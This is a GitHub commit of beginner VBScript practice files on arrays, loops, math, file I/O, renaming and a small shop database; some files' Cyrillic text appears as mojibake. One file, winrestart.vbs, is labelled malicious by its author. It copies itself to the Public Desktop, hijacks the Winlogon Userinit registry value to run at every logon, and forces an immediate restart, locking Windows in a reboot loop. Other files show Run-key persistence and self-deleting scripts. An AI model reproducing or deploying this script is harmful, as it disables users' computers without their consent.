Add files via upload

This commit is contained in:
Andrey 2022-10-11 11:29:27 +04:00 committed by GitHub
parent ca487c4ffb
commit 0bf2e1534a
No known key found for this signature in database
GPG key ID: 4AEE18F83AFDEB23
18 changed files with 604 additions and 0 deletions

1
ReadMe_selfdelete.txt Normal file
View file

@ -0,0 +1 @@
Несколько раз запуская самоуничтожаемый скрипт с backuping=True можно быстро создать кучу вложенных каталогов "backup".

21
add_to_startup.vbs Normal file
View file

@ -0,0 +1,21 @@
'Script for adding programs to startup using registry
'Author: Chechkenev Andrew (DarkCat09/CodePicker13)
Option Explicit
Dim Wsh, pathToProgram, isForAllUsers, root, pathToProgramArr
Set Wsh = CreateObject("WScript.Shell")
pathToProgram = InputBox("Enter full path to program", "AddToStartup")
isForAllUsers = MsgBox("Add this program to startup for all users?", vbYesNo, "AddToStartup")
'MsgBox pathToProgram & " " & isForAllUsers
If isForAllUsers = vbYes then
root = "HKEY_LOCAL_MACHINE"
Else
root = "HKEY_CURRENT_USER"
End If
pathToProgramArr = Split(pathToProgram, "\")
'MsgBox root & "\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\" & Split(pathToProgramArr(UBound(pathToProgramArr)), ".")(0)
Wsh.RegWrite root & "\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\" & Split(pathToProgramArr(UBound(pathToProgramArr)), ".")(0), pathToProgram, "REG_SZ"

87
arrays_and_strings.vbs Normal file
View file

@ -0,0 +1,87 @@
Rem Работа с массивами и строками
Rem Option Explicit
Dim res1 'ненужная переменная для MsgBox
Dim values, strChar
Dim oldStrChar
Dim dyn_arr() 'динамический массив
Dim fix_arr(10) 'массив фиксированного размера - 11
Dim matrix_arr(3,2) 'двумерный массив или матрица 4x3
Rem Отсчёт индекса начинается с нуля, как во всех ЯП!
Rem Т.е. 2=0,1,2=(по-человечески)3.
Rem Заполнение массива вручную
fix_arr(0) = "Привет, "
fix_arr(1) = "Мир! "
fix_arr(2) = "Как дела? "
fix_arr(3) = 5 'это означает отлично
fix_arr(4) = ". Кошка " 'а это мой стих
fix_arr(5) = "села на "
fix_arr(6) = "порог, "
fix_arr(7) = "вот и "
fix_arr(8) = "съела весь "
fix_arr(9) = "мой пирог. "
fix_arr(10) = "Пока!"
Rem В массиве VBS можно хранить всё что угодно!
Rem И неважно, что там было первое - строка или число.
Rem Заполнение массива через цикл
Rem Например, мы работаем со светодиодной матрицей.
Rem Нужно всю её залить белым цветом - вкл. все светодиоды.
Rem Вручную это прописывать слишком долго.
For i=0 To 3
For j=0 To 2
matrix_arr(i,j) = True 'вкл.
next
next
Rem А применение матрице рассмотрим в работе с файлами.
Rem Получение массива из строки, парсинг.
Rem Запрашиваем значения у пользователя.
values = InputBox("Введите значения массива через запятую", "Динамический массив")
Rem Сложный, но железобетонный и гибкий вариант парсинга из строк.
Rem Я всё закомментировал, так как данный код не работает!
Rem strChar = InStr(values, ",") 'находим в строке разделитель
Rem MsgBox strChar & " " & Len(values)
Rem dyn_arr(0) = Mid(values, 1, strChar) 'вырезаем нужную часть строки
Rem k = 1
Rem Do Until (strChar = 0)
Rem oldStrChar = strChar
Rem strChar = InStr(oldStrChar, values, ",") 'находим разделитель начиная с предыдущего
Rem dyn_arr(k) = Mid(values, oldStrChar, strChar) 'вырезаем нужную часть строки
Rem loop
Rem Выводим пользователю полученный массив,
Rem соеденяя его в строку с помощью Join.
Rem Разделитель по умолчанию - пробел.
Rem res1 = MsgBox(dyn_arr.Join, vbOK, "Сложный парсинг с помощью InStr")
Rem Очень лёгкий способ.
Rem Эта функция существует в .NET (в т.ч. VB) и Java.
Rem И называется...
Rem Split
Rem Однако, из-за странностей Visual Basic
Rem придётся делать вот так:
temp_arr = Split(values, ",")
For l=0 To UBound(temp_arr)
Redim Preserve dyn_arr(l) 'перезаписываем размер массива с сохранением данных - ReDim Preserve
dyn_arr(l) = temp_arr(l)
next
res1 = MsgBox(Join(dyn_arr), vbOK, "Простой парсинг с помощью Split")
Rem Да, всё настолько просто. И это работает!
Rem Хотя повозиться пришлось.
Rem Но String.Split есть не во всех ЯП и оно слишком автоматическое.
Rem Выводим массив фиксированного размера всё тем же Join.
MsgBox Join(fix_arr, "") 'с пустым разделителем

49
functions_and_subs.vbs Normal file
View file

@ -0,0 +1,49 @@
Rem Ôóíêöèè è Ïðîöåäóðû
Rem Êàëüêóëÿòîð
Rem Option Explicit
Dim numA, numB, strS
Rem Ôóíêöèÿ ïðèáàâèòü - add
Function mathAdd(a, b)
c = a+b
mathAdd = c
End Function
Rem Ôóíêöèÿ îòíÿòü - subtract
Function mathSbt(a, b)
c = a-b
mathSbt = c
End Function
Rem Ôóíêöèÿ óìíîæèòü - multiple
Function mathMlt(a, b)
c = a*b
mathMlt = c
End Function
Rem Ôóíêöèÿ ðàçäåëèòü - divide
Function mathDvd(a, b)
c = a/b
mathDvd = c
End Function
Sub calc(a, b, sign)
If sign = "+" then
MsgBox a & "+" & b & "=" & mathAdd(a, b)
elseif sign = "-" then
MsgBox a & "-" & b & "=" & mathSbt(a, b)
elseif sign = "*" then
MsgBox a & "*" & b & "=" & mathMlt(a, b)
elseif sign = "/" then
MsgBox a & "/" & b & "=" & mathDvd(a, b)
else
MsgBox "Îøèáêà!"
End if
End Sub
numA = CInt(InputBox("Ââåäèòå ïåðâîå ÷èñëî", "Êàëüêóëÿòîð"))
numB = CInt(InputBox("Ââåäèòå âòîðîå ÷èñëî","Êàëüêóëÿòîð"))
strS = InputBox("Ââåäèòå çíàê àðèôìåòè÷åñêîãî äåéñòâèÿ","Êàëüêóëÿòîð")
Call calc(numA,numB,strS)

17
inputbox_testing.vbs Normal file
View file

@ -0,0 +1,17 @@
Rem Тестовый скрипт для проверки возвращаемых значений InputBox
Option Explicit
Dim result
result = InputBox("Введи что-нибудь и/или нажми какую-нибудь кнопочку", "InputTest()")
MsgBox result
'Результат:
'и Отмена, и пустая строка - обрабатываются одинаково.
'в result, в любом из этих случаев, сохраняется пустота.
'VBS, наверное, не имеет понятия NULLable.
'Поэтому данное значение нужно расценивать как пустую строку.
'А в нормальных случаях (введён текст и нажата OK)
'в result сохраняется текст.

45
loops.vbs Normal file
View file

@ -0,0 +1,45 @@
Rem Öèêëû
Rem Ïðîñòîé áðóòôîðñ
Option Explicit
Dim num, i
Dim res1, res2, res3, res4 'Íåíóæíûå ïåðåìåííûå äëÿ msgbox
num = CInt(InputBox("Ââåäè öåëîå ÷èñëî", "Áðóòôîðñ"))
Rem Do-While-Loop
i = 0
Do While (i < num)
i = i + 1
loop
res1 = MsgBox("Âàøå ÷èñëî: " & i & ".", vbOK, "Do-While-Loop")
Rem Do-Until-Loop
i = 0
Do Until (i = num)
i = i + 1
loop
res2 = MsgBox("Âàøå ÷èñëî: " & i & ".", vbOK, "Do-Until-Loop")
Rem While-Wend
i = 0
While i < num
i = i + 1
Wend
res3 = MsgBox("Âàøå ÷èñëî: " & i & ".", vbOK, "While-Wend")
Rem For, ñ çàùèòîé îò ïåðåãðóçêè
i = 0
For i=0 To 3000
If i = num then Exit For End if
next
If Not i = num then
MsgBox "Ïåðåãðóçêà! (Èòåðàöèé áîëåå 3000)."
else
res4 = MsgBox("Âàøå ÷èñëî: " & i & ".", vbOK, "For ñ çàùèòîé")
End if

46
math_functions.vbs Normal file
View file

@ -0,0 +1,46 @@
Rem Математические функции
Rem Эта программа бесполезная,
Rem разве что только для изучения VBS.
Rem (что я и делаю - изучаю скриптинг).
'Весь код был взят из примера с сайта
'http://vbhack.ru/uroki-vbscript/urok-vbscript-n8-matematicheskie-funkcii-funk.html
'И немножко изменён мною.
Dim a, b, c, d, e, f, g, h, i, j, k, l, m, n, o
a = "Модуль числа 10: " & Abs(10)
b = "Модуль числа -10: " & Abs(-10)
c = "Арктангенс числа 10: " & Atn(10)
d = "Косинус угла 10 радиан: " & Cos(10)
e = "Синус угла 10 радиан: " & Sin(10)
f = "Тангенс угла 10 радиан: " & Tan(10)
g = "Экспонента возведённая в 2: " & exp(2)
h = "Логарифм из 15: " & log(15)
i = "Десятичный логарифм из 15: " & log(15)/log(10)
j = "Квадратный корень 15: " & Sqr(15)
k = "Квадратный корень 0: " & Sqr(0)
min = 3
max = 18
Randomize
l = "Рандомизация 1: " & (Int(1 + (Rnd(3) * 10))) '(Int(min + (Rnd() * max)))
m = "Рандомизация 2: " & Int((10 - 1 + 1) * Rnd + 1) ' Int((max - min + 1) * Rnd + min)
n = "Рандомизация 3: " & Int((10 * Rnd) + 1) ' Int((max * Rnd) + min)
o = "Простая рандомизация: " & Rnd(10)
p = "Целое число (Int) из 10.3: " & Int(10.3)
q = "Целое число (Fix) из 10.3: " & Fix(10.3)
r = "Целое число (Int) из -10.3: " & Int(-10.3)
s = "Целое число (Fix) из -10.3: " & Fix(-10.3)
Rem Разница между Int и Fix проявляется только при отрицательных значениях.
Rem Fix возвращает ближайшее меньшее по модулю число,
Rem а Int ближайшее большее по модулю число.
Rem Источник тот же:
Rem http://vbhack.ru/uroki-vbscript/urok-vbscript-n8-matematicheskie-funkcii-funk.html
MsgBox a & vbCrLf & b & vbCrLf & c & vbCrLf & d & vbCrLf & e & vbCrLf & f & vbCrLf &_
g & vbCrLf & h & vbCrLf & i & vbCrLf & j & vbCrLf & k & vbCrLf & l & vbCrLf & m &_
vbCrLf & n & vbCrLf & o & vbCrLf & p & vbCrLf & q & vbCrLf & r & vbCrLf & s

24
prefix_renamer.vbs Normal file
View file

@ -0,0 +1,24 @@
'Automatically rename files, adding entered prefix
'by DarkCat09
Option Explicit
Dim prefix, directory
Dim Fso, Dir, File
Set Fso = CreateObject("Scripting.FileSystemObject")
prefix = InputBox("Enter file prefix:", "Autorename")
If Wsh.Arguments.Count > 0 Then
directory = Wsh.Arguments(0)
Else
directory = Fso.GetParentFolderName(WScript.ScriptFullName)
End If
Set Dir = Fso.GetFolder(directory)
For Each File in Dir.Files
Fso.MoveFile directory & "\" & File.Name, directory & "\" & prefix & File.Name
Next
MsgBox "OK!"

24
prefix_unrenamer.vbs Normal file
View file

@ -0,0 +1,24 @@
'Automatically rename files, removing entered prefix
'by DarkCat09
Option Explicit
Dim prefix, directory, result
Dim Fso, Dir, File
Set Fso = CreateObject("Scripting.FileSystemObject")
prefix = InputBox("Enter file prefix:", "Autorename")
If Wsh.Arguments.Count > 0 Then
directory = Wsh.Arguments(0)
Else
directory = Fso.GetParentFolderName(WScript.ScriptFullName)
End If
Set Dir = Fso.GetFolder(directory)
For Each File in Dir.Files
result = File.Path
Fso.MoveFile File.Path, Replace(result, prefix, "", 1, 1, 1)
Next
MsgBox "OK!"

20
selfdelete.vbs Normal file
View file

@ -0,0 +1,20 @@
Rem Немножко хулиганим с FSO
Rem Самоудаляемый скрипт
Rem Запустите этот скрипт и он удалится!
Option Explicit
Dim FSO, backuping, scriptName
Set FSO = CreateObject("Scripting.FileSystemObject")
backuping = True 'если хотите, чтобы скрипт сам себя забэкапил, установите
'backuping = True
scriptName = WScript.ScriptName
Sub BackupScript()
FSO.CreateFolder "backup"
FSO.CopyFile scriptName, "backup\" & scriptName
End Sub
If backuping = True then Call BackupScript() End if
FSO.DeleteFile scriptName

1
selfdelete_one-line.vbs Normal file
View file

@ -0,0 +1 @@
CreateObject("Scripting.FileSystemObject").DeleteFile(WScript.ScriptName)

92
shop_db.vbs Normal file
View file

@ -0,0 +1,92 @@
Rem Большой проект
Rem +словари, Select ... case и Err
Rem Локальная БД Магазина
On Error Resume Next 'Обрабатываем все ошибки - теперь они нас не побеспокоят
Rem Option Explicit
Dim res1 'Ненужная переменная для MsgBox
Dim exitFromMenu
Dim prodFileName, optionsDelim
prodFileName = "products.csv" 'Имя файла с продуктами
optionsDelim = "," 'Разделитель опций (продукт,цена)
'Если в названии товара может присутсвовать запятая,
'Лучше ставить optionsDelim = ";"
exitFromMenu = False
Rem Словарь, как в Java и .NET:
Set Products = CreateObject("Scripting.Dictionary")
Dim FSO, ProdFile
Set FSO = CreateObject("Scripting.FileSystemObject")
Sub addProducts()
Set ProdFile = FSO.OpenTextFile(prodFileName, 8, True, -1)
prodOptions = "наименование; цена"
Do Until (prodOptions = "")
prodOptions = InputBox("Введите опции товара (наименование и цена), разделяя точкой с запятой." &_
vbCrLf & "Пример: Вода Волжанка 0.5 л; 25", "Локальная База Данных Магазина")
splitedOpts = Split(prodOptions, "; ")
If UBound(splitedOpts) > 0 then Products.Add splitedOpts(0), splitedOpts(1) End if 'проверка - опций не 0? и запись в словарь
loop
For Each prodkey In Products.keys 'для каждого ключа в словаре...
ProdFile.Write(prodkey & optionsDelim &_
Products(prodkey) & vbCrLf) 'записываем в файл (ключ - наим.товара + разделитель + значение(ключа) - цену).
next
ProdFile.Close
End Sub
Sub readProducts()
Set ProdFile = FSO.OpenTextFile(prodFileName, 1, False, -1)
MsgBox Err.Number
MsgBox ProdFile.ReadAll()
ProdFile.Close
End Sub
Sub removeAllProducts()
FSO.DeleteFile prodFileName, True
End Sub
Function computeDiscount(cost, pct)
Rem cost - обычная стоимость.
Rem pct - скидка, в процентах.
itog = cost - (cost/100*pct)
computeDiscount = itog
End Function
Rem Делаем своеобразное меню на Инпутах
Do While (exitFromMenu = False) 'пока пользователь не вышел из меню, показываем его
selected_function = InputBox("Выберите функцию:" & vbCrLf & "1 - добавить продукты в файл" & vbCrLf &_
"2 - просмотреть список продуктов" & vbCrLf & "3 - очистить список продуктов" & vbCrLf &_
"4 - рассчитать цену товара со скидкой" & vbCrLf & "5 - выйти", "Локальная База Данных Магазина")
Rem select...case - то же самое,
Rem что и знакомый всем C-программистам switch...case.
Rem Только синтаксис немножко отличается.
Select case selected_function
case "1"
Call addProducts()
case "2"
Call readProducts()
Rem If Err.Number = 53 then MsgBox "Нету файлика с продуктами!" End if
case "3"
Call removeAllProducts()
case "4"
header = "Рассчитать цену со скидкой"
cost = CInt(InputBox("Обычная стоимость:", header))
prct = CInt(InputBox("Скидка, в %:", header))
res1 = MsgBox(computeDiscount(cost, prct), vbOK, header)
case "5"
exitFromMenu = True
case else
MsgBox "Ошибка!" & vbCrLf & "Укажите правильное значение." & vbCrLf & "Чтобы выйти, выберите 5."
End Select
loop

4
special_folders.vbs Normal file
View file

@ -0,0 +1,4 @@
Dim Fso
Set Fso = CreateObject("Scripting.FileSystemObject")
MsgBox "0 = " & Fso.GetSpecialFolder(0) & vbCrLf & "1 = " & Fso.GetSpecialFolder(1) & vbCrLf & "2 = " & Fso.GetSpecialFolder(2)
MsgBox "System drive = " & Fso.GetSpecialFolder(0).Drive

54
text_files_and_matrix.vbs Normal file
View file

@ -0,0 +1,54 @@
Rem Текстовые файлы и Матрицы
Rem Имитация Светодиодной Матрицы в Блокноте.
Rem НЕ работает!
Option Explicit
Dim i, j
Dim FSO, myFile
Dim matrix(7,3) 'инициализируем двумерный массив или матрицу 8x4
Set FSO = CreateObject("Scripting.FileSystemObject")
Set myFile = FSO.CreateTextFile("matrix.txt",True,True)
myFile.Close
Sub writeMatrix()
Set myFile = FSO.OpenTextFile("matrix.txt",2,True,0) 'открываем matrix.txt в режиме записи (2) с кодировкой ASCII (0)
For j=0 To 3
For i=0 To 7
If matrix(i,j)=True then myFile.Write(".") else myFile.Write(" ") End if
next
myFile.Write(vbCrLf)
next
myFile.Close 'закрываем поток
End Sub
Rem Заполнение
For i=0 To 7
For j=0 To 3
matrix(i, j)=True 'включено
next
next
writeMatrix()
Rem Каёмочка
For i=0 To 7
matrix(i, 0)=True
next
For j=0 To 3
matrix(0, j)=True
next
For i=0 To 7
matrix(i, 7)=True
next
For j=0 To 3
matrix(7, j)=True
next
writeMatrix()
Rem ...

50
types_and_ifs.vbs Normal file
View file

@ -0,0 +1,50 @@
Rem Òèïû äàííûõ è Öèêëû
Rem +íåìíîãî î ðàáîòå ñ äàòîé
Option Explicit
Dim a, b
Dim num
Dim name, result
Dim brthdate
Dim instrChar
a = 10
b = 20
MsgBox "Ïðèâåò!"
Rem Áåññìûñëåííàÿ ïðîâåðêà ïåðåìåííûõ
if a = 10 then MsgBox "a = 10!" End if
if b = 20 then MsgBox "b = 20!" else MsgBox "b íå= 20!" End if
Rem Ïðîâåðêà ââåä¸ííîãî ÷èñëà
Rem CInt - Convert to Integer
num = CInt(InputBox("Ââåäè ëþáîå ÷èñëî", "Èíïóò"))
Rem if, elseif, else, End if - ïî÷òè êàê â Bash èëè Python
If num < a then
MsgBox "Òâî¸ ÷èñëî ìåíüøå " & a & "."
elseif num > b then
MsgBox "Òâî¸ ÷èñëî áîëüøå " & b & "."
else
Rem vbCrLf - ýòî ñèìâîë íîâîé ñòðîêè
MsgBox "Òâî¸ ÷èñëî â ïðåäåëàõ " & a & " è " & b & "," & vbCrLf & "ò.å. áîëüøå, ÷åì " & a & ", íî ìåíüøå, ÷åì " & b & "."
End if
Rem Ïðîâåðêà êíîïêè
name = InputBox("Ââåäè èìÿ", "Èíïóò")
result = MsgBox("Ïðèâåò, " & name & "!", vbOKCancel, "Ñîîáùåíèå")
If result = vbOK then MsgBox "Ïîêà!" End if
Rem Ïðîâåðêà èìåíè è äàòû ðîæäåíèÿ
Rem CDate - Convert to Date
brthdate = CDate(InputBox("Ââåäè äàòó ðîæäåíèÿ â ôîðìàòå ÄÄ.ÌÌ.ÃÃÃÃ èëè ÄÄ/ÌÌ/ÃÃÃÃ", "Èíïóò"))
instrChar = InStr(name, "Àíäðåé") 'èùåì ìî¸ èìÿ - Àíäðåé - â óêàçàííîì èìåíè
If (Not instrChar = 0) And Day(brthdate) = 13 And Month(brthdate) = 7 And Year(brthdate) = 2009 then
MsgBox "Âîçìîæíî, òû ðàçðàáîò÷èê ýòîãî ñêðèïòà!"
else
MsgBox "OK"
End if

25
vars_and_msgs.vbs Normal file
View file

@ -0,0 +1,25 @@
Rem Переменные, Сообщения и др.
'Это комментарий.
Rem И это комментарий.
Rem А с помощью строчки
Rem Option Explicit
Rem можно сделать, чтобы вызывалась ошибка
Rem при обнаружении не объявленных переменнных.
Rem Сейчас ошибки не будет, т.к. строка закомментирована.
Rem Но у нас есть неявно объявленная переменная name.
Rem Была бы ошибка!
Dim a, b
a = "Привет!"
b = 10
MsgBox a
MsgBox b
MsgBox a & " " & b
name = InputBox("Как тебя зовут?", "Вопросик")
result = MsgBox("Привет, " & name & "!", vbOKCancel, "Полезная информация")
Rem MsgBox "Пока!", vbOK, "Полезная информация"
MsgBox "Пока!"

19
winrestart.vbs Normal file
View file

@ -0,0 +1,19 @@
' Просто вредоносный скрипт
' by DarkCat09
Dim Wsh, Fso
Set Wsh = CreateObject("WScript.Shell")
Set Fso = CreateObject("Scripting.FileSystemObject")
Dim sysdrive, sysdir
sysdrive = Fso.GetSpecialFolder(0).Drive
sysdir = Fso.GetSpecialFolder(1)
If Not Fso.FileExists(sysdrive & "\Users\Public\Desktop\winrestart.vbs") Then
Fso.CopyFile WScript.ScriptFullName, sysdrive & "\Users\Public\Desktop\winrestart.vbs"
End If
Wsh.RegWrite "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Userinit", _
sysdir & "\wscript.exe " & sysdrive & "\Users\Public\Desktop\winrestart.vbs,", "REG_SZ"
Wsh.Run "shutdown /r /t 0", 1, False

25
working_with_files.vbs Normal file
View file

@ -0,0 +1,25 @@
Rem Работа с файлами и папками
Rem Секретные заметки
Option Explicit
Dim FSO, myText
Set FSO = CreateObject("Scripting.FileSystemObject") 'для работы с файлами нужен объект ФС
Rem Создание каталога
If Not FSO.FolderExists("Notes") Then FSO.CreateFolder "Notes" End if
Rem Создание файла и запись данных
Set myText = FSO.CreateTextFile("Notes\1.txt",True,True) 'Создаём текстовый файл 1.txt, если есть - перезаписываем (True), с кодировкой Unicode (True).
myText.Close 'Закрываем TextStream, нам он больше не нужен.
Set myText = FSO.OpenTextFile("Notes\1.txt",2,False,-1) 'Открываем текстовый файл 1.txt в режиме запись (2), с кодировкой Unicode (-1)
myText.WriteLine(InputBox("Введите текст новой секретной заметки", "Заметки")) 'записываем текст
MsgBox "Записано! Читай!" 'оповещаем об этом пользователя
Rem MsgBox myText.ReadAll() 'чтение не работает, т.к. мы открыли в режиме (2).
myText.Close 'закрываем поток
FSO.MoveFile "Notes\1.txt", "2.txt" 'перемещаем файл
WScript.Sleep 5000 'ждём 5000мс=5сек
FSO.DeleteFile "2.txt" 'удаляем эту конфиденциальную заметку
FSO.DeleteFolder "Notes", True 'удаляем всю папку, даже если там файлы с read-only